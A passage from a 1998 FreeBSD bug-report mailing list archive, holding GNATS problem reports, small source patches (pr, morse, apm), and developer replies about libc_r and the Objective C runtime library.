(in my case dev==0 and midi2synth provided orig_dev==1 which is the wrong index for midi_devs) How to fix the problem: rename the parameter dev of midi_synth_input to orig_dev and remove line 161 in midi_synth.c If this was the solution midi2synth would be superfluous. Thanks, Michael >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Sep 8 03:30:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA04670 for freebsd-bugs-outgoing; Tue, 8 Sep 1998 03:30:07 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA04644 for ; Tue, 8 Sep 1998 03:30:01 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id DAA24306; Tue, 8 Sep 1998 03:30:01 -0700 (PDT) Received: from phmit.demon.co.uk (phmit.demon.co.uk [194.222.15.209]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id DAA03892 for ; Tue, 8 Sep 1998 03:20:18 -0700 (PDT) (envelope-from dom@phmit.demon.co.uk) Received: from voodoo.pandhm.co.uk [192.15.143.228] by phmit.demon.co.uk with esmtp (Exim 1.82 #1) id 0zGKuf-0001GX-00; Tue, 8 Sep 1998 11:22:17 +0100 Received: from dom by voodoo.pandhm.co.uk with local (Exim 1.92 #1) for FreeBSD-gnats-submit@freebsd.org id 0zGKtz-00026F-00; Tue, 8 Sep 1998 11:21:35 +0100 Message-Id: Date: Tue, 8 Sep 1998 11:21:35 +0100 From: Dom Mitchell Reply-To: dom@phmit.demon.co.uk To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/7860: Extra option to pr(1). Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7860 >Category: bin >Synopsis: Extra option to pr(1). >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Tue Sep 8 03:30:00 PDT 1998 >Last-Modified: >Originator: Dom Mitchell >Organization: Palmer & Harvey McLane Ltd. >Release: FreeBSD 2.2.7-STABLE i386 >Environment: FreeBSD voodoo.pandhm.co.uk 2.2.7-STABLE FreeBSD 2.2.7-STABLE #0: Fri Aug 28 09:05:54 BST 1998 root@voodoo.pandhm.co.uk:/usr/src/sys/compile/VOODOO i386 Running Xemacs 20.4. Surrounded by Solaris. :-) >Description: Trying to print things out from Xemacs using the "print-buffer" function, calls "pr -f | lpr". Our pr does not support the -f option. However, looking at a nearby Solaris manual page, it would appear the the (FreeBSD pr) -F option is identical to the (Solaris pr) -f option. I include a patch below to make them synonyms for each other, for better interoperability. >How-To-Repeat: % pr -f /etc/rc >Fix: Apply this patch: (NB: I'm not sure whether this is the right change for the manual. Please correct me if I'm wrong.) diff -urP /usr/src/usr.bin/pr/pr.1 pr/pr.1 --- /usr/src/usr.bin/pr/pr.1 Tue Aug 5 07:31:54 1997 +++ pr/pr.1 Tue Sep 8 11:16:02 1998 @@ -182,6 +182,7 @@ .Ar char , is specified, it is used as the input tab character. .It Fl F +.It Fl f Use a .Em character for new pages, diff -urP /usr/src/usr.bin/pr/pr.c pr/pr.c --- /usr/src/usr.bin/pr/pr.c Sat Jul 18 00:26:55 1998 +++ pr/pr.c Tue Sep 8 11:13:16 1998 @@ -1589,7 +1589,7 @@ } } else err = stderr; - while ((c = egetopt(argc, argv, "#adFmrte?h:i?l:n?o:s?w:")) != -1) { + while ((c = egetopt(argc, argv, "#adFfmrte?h:i?l:n?o:s?w:")) != -1) { switch (c) { case '+': if ((pgnm = atoi(eoptarg)) < 1) { @@ -1634,6 +1634,7 @@ ingap = INGAP; break; case 'F': + case 'f': ++formfeed; break; case 'h': >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Sep 8 05:20:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA19240 for freebsd-bugs-outgoing; Tue, 8 Sep 1998 05:20:08 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA19174 for ; Tue, 8 Sep 1998 05:20:02 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id FAA28749; Tue, 8 Sep 1998 05:20:01 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA18040; Tue, 8 Sep 1998 05:11:16 -0700 (PDT) (envelope-from nobody) Message-Id: <199809081211.FAA18040@hub.freebsd.org> Date: Tue, 8 Sep 1998 05:11:16 -0700 (PDT) From: info@highwind.com To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: bin/7863: libc_r calls free() while in a signal handler Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7863 >Category: bin >Synopsis: libc_r calls free() while in a signal handler >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Sep 8 05:20:01 PDT 1998 >Last-Modified: >Originator: Robert M. Fleischman >Organization: HighWind Software, Inc. >Release: 3.0 Current >Environment: FreeBSD zonda.highwind.com 3.0-19980831-SNAP FreeBSD 3.0-19980831-SNAP #0: Mon Aug 31 14:03:19 GMT 1998 root@make.ican.net:/usr/src/sys/compile/GENERIC i386 >Description: libc_r calls free() while in a signal handler. This is very *BAD*. malloc()/free() should NOT be called from within a signal handler. Code path is as follows: SIGVTALRM goes off and is caught by _thread_sig_handler() _thread_sig_handler() calls _thread_kern_sched() _thread_kern_sched() calls free() >How-To-Repeat: This is a timing issue. However, given the code path I outlined earlier, the sequence is quite possible. >Fix: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Sep 8 08:08:33 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA13605 for freebsd-bugs-outgoing; Tue, 8 Sep 1998 08:08:33 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA13533; Tue, 8 Sep 1998 08:08:21 -0700 (PDT) (envelope-from bde@FreeBSD.org) From: Bruce Evans Received: (from bde@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id IAA03540; Tue, 8 Sep 1998 08:08:19 -0700 (PDT) Date: Tue, 8 Sep 1998 08:08:19 -0700 (PDT) Message-Id: <199809081508.IAA03540@freefall.freebsd.org> To: akiyama@kme.mei.co.jp, bde@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: kern/2715 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: MSDOS-FS 1024/2048 byte/sector media support. State-Changed-From-To: open-closed State-Changed-By: bde State-Changed-When: Tue Sep 8 08:03:42 PDT 1998 State-Changed-Why: Superseded by PR 7210. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Sep 8 08:33:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA18253 for freebsd-bugs-outgoing; Tue, 8 Sep 1998 08:33:41 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from papa.faki-campus.mipt.ru (papa.faki-campus.mipt.ru [194.85.83.151]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA18220 for ; Tue, 8 Sep 1998 08:33:32 -0700 (PDT) (envelope-from freebsd@papa.faki-campus.mipt.ru) Received: from localhost (freebsd@localhost) by papa.faki-campus.mipt.ru (8.8.7/8.8.7) with SMTP id TAA00981 for ; Tue, 8 Sep 1998 19:35:31 GMT (envelope-from freebsd@papa.faki-campus.mipt.ru) Date: Tue, 8 Sep 1998 19:35:26 +0000 (GMT) From: FreeBSD User To: freebsd-bugs@FreeBSD.ORG Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org unsubscribe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Sep 8 10:14:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA06788 for freebsd-bugs-outgoing; Tue, 8 Sep 1998 10:14:11 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from ins.isv.metacreations.com (host7.fractal.com [208.225.231.7] (may be forged)) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA06709 for ; Tue, 8 Sep 1998 10:14:00 -0700 (PDT) (envelope-from ljohnson@metacreations.com) Received: from ljohnson ([172.16.2.38]) by ins.isv.metacreations.com (8.8.8/8.7.3) with SMTP id KAA18770 for ; Tue, 8 Sep 1998 10:13:46 -0700 (PDT) Message-Id: <199809081713.KAA18770@ins.isv.metacreations.com> X-Sender: ljohnson@mercury.metacreations.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.1 Date: Tue, 08 Sep 1998 10:13:08 +0000 To: freebsd-bugs@FreeBSD.ORG From: Lance Johnson Subject: Y2K Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Do you have an address (snail mail) that my company can get information (year 2000 compliance statement) from? If so, than please send it. Otherwise can I get your corporate address. Lance Johnson. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Sep 8 10:40:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA11892 for freebsd-bugs-outgoing; Tue, 8 Sep 1998 10:40:41 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA11887; Tue, 8 Sep 1998 10:40:39 -0700 (PDT) (envelope-from steve@FreeBSD.org) From: Steve Price Received: (from steve@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id KAA14310; Tue, 8 Sep 1998 10:40:39 -0700 (PDT) Date: Tue, 8 Sep 1998 10:40:39 -0700 (PDT) Message-Id: <199809081740.KAA14310@freefall.freebsd.org> To: dom@phmit.demon.co.uk, steve@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: bin/7457 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: unix macro in m4(1) bust State-Changed-From-To: open-closed State-Changed-By: steve State-Changed-When: Tue Sep 8 10:39:24 PDT 1998 State-Changed-Why: Fixed in both -current and -stable. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Sep 8 18:30:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA24648 for freebsd-bugs-outgoing; Tue, 8 Sep 1998 18:30:04 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA24614 for ; Tue, 8 Sep 1998 18:30:01 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id SAA01362; Tue, 8 Sep 1998 18:30:00 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA24444; Tue, 8 Sep 1998 18:27:53 -0700 (PDT) (envelope-from nobody) Message-Id: <199809090127.SAA24444@hub.freebsd.org> Date: Tue, 8 Sep 1998 18:27:53 -0700 (PDT) From: ray@eng.trimble.com To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: misc/7867: Test of send-pr script Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7867 >Category: misc >Synopsis: Test of send-pr script >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Sep 8 18:30:00 PDT 1998 >Last-Modified: >Originator: Ray Lillard >Organization: Trimble Navigation, Inc. >Release: 1.0 >Environment: >Description: The is a test of a shamelessly stolen html script >How-To-Repeat: do it a gain >Fix: don't do it a gain >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Sep 8 20:10:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA07999 for freebsd-bugs-outgoing; Tue, 8 Sep 1998 20:10:13 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA07912 for ; Tue, 8 Sep 1998 20:10:02 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id UAA04078; Tue, 8 Sep 1998 20:10:01 -0700 (PDT) Received: from thingfish.v-wave.com (thingfish.v-wave.com [24.108.17.129]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA06468 for ; Tue, 8 Sep 1998 20:05:28 -0700 (PDT) (envelope-from lyndon@thingfish.v-wave.com) Received: (from lyndon@localhost) by thingfish.v-wave.com (8.9.1/8.9.1) id VAA02319; Tue, 8 Sep 1998 21:05:14 -0600 (MDT) Message-Id: <199809090305.VAA02319@thingfish.v-wave.com> Date: Tue, 8 Sep 1998 21:05:14 -0600 (MDT) From: lyndon@orthanc.ab.ca Reply-To: lyndon@orthanc.ab.ca To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/7868: Morse Code Fixups Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7868 >Category: bin >Synopsis: Morse Code Fixups >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Sep 8 20:10:01 PDT 1998 >Last-Modified: >Originator: >Organization: The Frobozz Magic Homing Pigeon Company >Release: FreeBSD 2.2.7-STABLE i386 >Environment: >Description: * Make audio support conditional on __FreeBSD__ instead of via explicit CFLAGS setting in the Makefile. * Fixed the output grammar to properly speak non-terminal dits. >How-To-Repeat: >Fix: In /usr/src/games/morse: =================================================================== RCS file: Makefile,v retrieving revision 1.1 diff -u -r1.1 Makefile --- Makefile 1998/09/09 02:39:40 1.1 +++ Makefile 1998/09/09 02:40:16 @@ -2,6 +2,5 @@ PROG= morse NOMAN= noman -CFLAGS += -DSPEAKER=\"/dev/speaker\" .include =================================================================== RCS file: morse.c,v retrieving revision 1.1 diff -u -r1.1 morse.c --- morse.c 1998/09/09 02:39:47 1.1 +++ morse.c 1998/09/09 02:50:00 @@ -32,8 +32,8 @@ */ /* - * Taught to send *real* morse by Lyndon Nerenberg (VE7TCP/VE6BBM) - * + * Taught to send *real* morse by Lyndon Nerenberg (VE6BBM) + * */ #ifndef lint @@ -50,10 +50,10 @@ #include #include #include - -#ifdef SPEAKER -#include -#include +#include +#ifdef __FreeBSD__ +# include +# include #endif struct morsetab { @@ -194,7 +194,7 @@ #define FREQUENCY 600 static int freq = FREQUENCY; -#ifdef SPEAKER +#ifdef __FreeBSD__ #define DASH_LEN 3 #define CHAR_SPACE 3 #define WORD_SPACE (7 - CHAR_SPACE - 1) @@ -243,10 +243,10 @@ if (pflag && (freq == 0)) freq = FREQUENCY; -#ifdef SPEAKER +#ifdef __FreeBSD__ if (pflag) { - if ((spkr = open(SPEAKER, O_WRONLY, 0)) == -1) { - perror(SPEAKER); + if ((spkr = open("/dev/speaker", O_WRONLY, 0)) == -1) { + perror("/dev/speaker"); exit(1); } dot_clock = wpm / 2.4; /* dots/sec */ @@ -255,7 +255,9 @@ /* the dot rate */ dot_clock = dot_clock * 100; /* scale for ioctl */ } -#endif +#else /* ! __FreeBSD__ */ + errx(1, "audio not supported on this platform"); +#endif /* ! __FreeBSD__ */ argc -= optind; argv += optind; @@ -319,14 +321,14 @@ printf(" %s", s); else for (; *s; ++s) - printf(" %s", *s == '.' ? "dit" : "dah"); + printf(" %s", *s == '.' ? *(s+1) == '\0' ? "dit" : "di" : "dah"); printf("\n"); } void play(const char *s) { -#ifdef SPEAKER +#ifdef __FreeBSD__ const char *c; for (c = s; *c != '\0'; c++) { >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Sep 8 20:40:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA10944 for freebsd-bugs-outgoing; Tue, 8 Sep 1998 20:40:05 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA10899 for ; Tue, 8 Sep 1998 20:40:02 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id UAA04748; Tue, 8 Sep 1998 20:40:00 -0700 (PDT) Received: from fatman.i-pi.com (fatman.i-pi.com [198.49.217.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA10095 for ; Tue, 8 Sep 1998 20:30:04 -0700 (PDT) (envelope-from ingham@fatman.i-pi.com) Received: (from ingham@localhost) by fatman.i-pi.com (8.8.8/8.8.8) id VAA08519; Tue, 8 Sep 1998 21:29:55 -0600 (MDT) (envelope-from ingham) Message-Id: <199809090329.VAA08519@fatman.i-pi.com> Date: Tue, 8 Sep 1998 21:29:55 -0600 (MDT) From: Kenneth Ingham Reply-To: ingham@fatman.i-pi.com To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/7869: Improved error messages from apm Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7869 >Category: bin >Synopsis: Improved error messages from apm >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Sep 8 20:40:00 PDT 1998 >Last-Modified: >Originator: Kenneth Ingham >Organization: Kenneth Ingham Consulting >Release: FreeBSD 2.2.7-RELEASE i386 >Environment: When apm cannot open /dev/apm >Description: When apm cannot open /dev/apm, the error message does not give clues as to why it cannot open the device. >How-To-Repeat: I didn't have apm enabled in the kernel. However, this was not obvious from the error message. >Fix: Apply this patch to /usr/src/usr.sbin/apm/apm.c *** apm.c Tue Sep 8 21:23:05 1998 --- apm.c.orig Tue Sep 8 21:22:04 1998 *************** *** 25,31 **** #include #include #include - #include #include #define APMDEV "/dev/apm" --- 25,30 ---- *************** *** 161,167 **** finish_option: fd = open(APMDEV, O_RDWR); if (fd == -1) { ! warnx("can't open %s: %s", APMDEV, strerror(errno)); return 1; } if (sleep) --- 160,166 ---- finish_option: fd = open(APMDEV, O_RDWR); if (fd == -1) { ! warnx("can't open %s", APMDEV); return 1; } if (sleep) >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Sep 8 21:40:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA15787 for freebsd-bugs-outgoing; Tue, 8 Sep 1998 21:40:08 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA15760 for ; Tue, 8 Sep 1998 21:40:03 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id VAA06369; Tue, 8 Sep 1998 21:40:01 -0700 (PDT) Date: Tue, 8 Sep 1998 21:40:01 -0700 (PDT) Message-Id: <199809090440.VAA06369@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Brian Cully Subject: Re: gnu/7811: Patch to build Objective C library shared Reply-To: Brian Cully Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR gnu/7811; it has been noted by GNATS. From: Brian Cully To: Martin Cracauer , FreeBSD-gnats-submit@FreeBSD.ORG Cc: Subject: Re: gnu/7811: Patch to build Objective C library shared Date: Wed, 9 Sep 1998 00:34:52 -0400 On Mon, Sep 07, 1998 at 06:00:41PM +0200, Martin Cracauer wrote: > The lib is < 80 KB. That isn't worth the slowdown, IMHO. You are probably correct. I hadn't done any timings to gauge the effects of the slowdown. I'm not sure whether or not it's a good idea anymore. Without the shared bits, you lose when changing base objects between revisions, which is one of Objective C's strong points (due to it's run-time indirection of methods). I don't think you run into the FBC that C++ does. Unfortunately, you lose on method call overhead. > The right thing might be to pull the method lookup functions into a > seperate library that is static only and the rest into a dynamic > library, but I think that will break most application Makefiles > respectivly configure scripts. This is the right thing to do. But: 1) This is GNU stuff, and I'm not particularly willing to maintain libobjc seperately from GNU (nor do I think the FreeBSD project is willing). So I'd have to write my own, or find another implementation (preferably with a nice BSD copyright). 2) Even if I were willing, the only way I can see it being done without breaking everybody's stuff (as you've noted) would be to make libobjc contain the method lookup function and link it statically, but have it call dlopen() to find the object definitions. This would require that all ObjC apps be compiled shared, which wouldn't be horrific, but smacks to much of Solaris facism for my taste. -bjc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Sep 8 22:16:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA18318 for freebsd-bugs-outgoing; Tue, 8 Sep 1998 22:16:18 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA18312; Tue, 8 Sep 1998 22:16:13 -0700 (PDT) (envelope-from jkoshy@FreeBSD.org) From: Joseph Koshy Received: (from jkoshy@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id WAA07450; Tue, 8 Sep 1998 22:16:12 -0700 (PDT) Date: Tue, 8 Sep 1998 22:16:12 -0700 (PDT) Message-Id: <199809090516.WAA07450@freefall.freebsd.org> To: njs3@doc.ic.ac.uk, jkoshy@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: bin/6790 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: [PATCH] make(1) coredumps in debugging mode g2 State-Changed-From-To: suspended-closed State-Changed-By: jkoshy State-Changed-When: Tue Sep 8 22:13:54 PDT 1998 State-Changed-Why: Fixed in rev 1.12 of "src/usr.bin/make/compat.c", thanks! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Sep 9 01:21:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA05666 for freebsd-bugs-outgoing; Wed, 9 Sep 1998 01:21:18 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA05650; Wed, 9 Sep 1998 01:21:07 -0700 (PDT) (envelope-from des@FreeBSD.org) From: "Dag-Erling C. Sm\xf8rgrav" Received: (from des@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id BAA13907; Wed, 9 Sep 1998 01:21:06 -0700 (PDT) Date: Wed, 9 Sep 1998 01:21:06 -0700 (PDT) Message-Id: <199809090821.BAA13907@freefall.freebsd.org> To: ray@eng.trimble.com, des@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: misc/7867 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Test of send-pr script State-Changed-From-To: open-closed State-Changed-By: des State-Changed-When: Wed Sep 9 01:20:46 PDT 1998 State-Changed-Why: Gack. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Sep 9 02:10:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA10761 for freebsd-bugs-outgoing; Wed, 9 Sep 1998 02:10:10 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA10741 for ; Wed, 9 Sep 1998 02:10:03 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id CAA15543; Wed, 9 Sep 1998 02:10:01 -0700 (PDT) Date: Wed, 9 Sep 1998 02:10:01 -0700 (PDT) Message-Id: <199809090910.CAA15543@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Martin Cracauer Subject: Re: gnu/7811: Patch to build Objective C library shared Reply-To: Martin Cracauer Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR gnu/7811; it has been noted by GNATS. From: Martin Cracauer To: Martin Cracauer , FreeBSD-gnats-submit@FreeBSD.ORG Cc: Subject: Re: gnu/7811: Patch to build Objective C library shared Date: Wed, 9 Sep 1998 11:09:02 +0200 In <19980909003452.42389@kublai.com>, Brian Cully wrote: > On Mon, Sep 07, 1998 at 06:00:41PM +0200, Martin Cracauer wrote: > > The lib is < 80 KB. That isn't worth the slowdown, IMHO. > > You are probably correct. I hadn't done any timings to gauge the > effects of the slowdown. I'm not sure whether or not it's a good > idea anymore. Without the shared bits, you lose when changing base > objects between revisions, which is one of Objective C's strong > points (due to it's run-time indirection of methods). Hm, I think I would prefer to link statically exactly for that reason: The compiler generates code that depends on one specific method lookup implementation. You might loose all your working binaries compiled with an older compiler when you upgrade to a newer compiler+runtime system if libobjc is statically linked. Martin -- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Martin Cracauer http://www.cons.org/cracauer Tel.: (private) +4940 5221829 Fax.: (private) +4940 5228536 Paper: (private) Waldstrasse 200, 22846 Norderstedt, Germany To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Wed Sep 9 03:50:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA21017 for freebsd-bugs-outgoing; Wed, 9 Sep 1998 03:50:04 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA20986 for ; Wed, 9 Sep 1998 03:50:02 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id DAA18165; Wed, 9 Sep 1998 03:50:01 -0700 (PDT) Received: from geiger.tele.dk (geiger.tele.dk [193.162.159.203]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA20039 for ; Wed, 9 Sep 1998 03:42:21 -0700 (PDT) (envelope-from hjj@geiger.tele.dk) Received: (from root@localhost) by geiger.tele.dk (8.8.8/8.8.8) id MAA02023; Wed, 9 Sep 1998 12:42:12 +0200 (CEST) (envelope-from hjj) Message-Id: <199809091042.MAA02023@geiger.tele.dk> Date: Wed, 9 Sep 1998 12:42:12 +0200 (CEST) From: Hans J Jakobsen Reply-To: hjj@datacom.dk400.dk To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/7870: PPP connection dies after ping of certain size packets Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7870 >Category: bin >Synopsis: PPP connection dies after ping of certain size packets >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: 